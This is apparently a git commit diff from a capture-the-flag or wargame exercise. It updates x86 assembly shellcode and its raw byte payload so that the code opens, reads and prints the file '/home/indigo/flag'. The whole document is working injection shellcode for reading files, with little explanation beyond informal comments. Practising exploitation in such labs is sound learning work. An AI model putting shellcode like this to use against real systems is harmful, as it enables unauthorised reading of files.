summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rwxr-xr-xfreadbin4272 -> 4296 bytes
-rw-r--r--fread.asm15
-rw-r--r--fread.obin512 -> 528 bytes
-rwxr-xr-xpayload2
4 files changed, 14 insertions, 3 deletions
diff --git a/fread b/fread
index 0b9e19e..ce7de5b 100755
--- a/fread
+++ b/fread
Binary files differ
diff --git a/fread.asm b/fread.asm
index 358cc93..d02753a 100644
--- a/fread.asm
+++ b/fread.asm
@@ -14,12 +14,23 @@ int 0x80
;eax now contains our file descriptor.
+mov ebx, eax
mov al, 3 ;sys_read
-mov ebx, esp ;I think?
-mov cl, 0xff ;eh, random guess I guess
+mov ecx, esp ;I think?
+xor edx, edx
+mov dl, 0xff ;eh, random guess I guess
int 0x80
+mov al, 4
+xor ebx, ebx
+mov bl, 1
+mov ecx, esp
+;dl stays the same
+int 0x80
+
+
+
data:
call str_found
db "/home/indigo/flag"
diff --git a/fread.o b/fread.o
index 00717e4..e50ec8d 100644
--- a/fread.o
+++ b/fread.o
Binary files differ
diff --git a/payload b/payload
index 9196c98..f73c1e9 100755
--- a/payload
+++ b/payload
@@ -1 +1 @@
-ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag \ No newline at end of file
+ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/indigo/flag \ No newline at end of file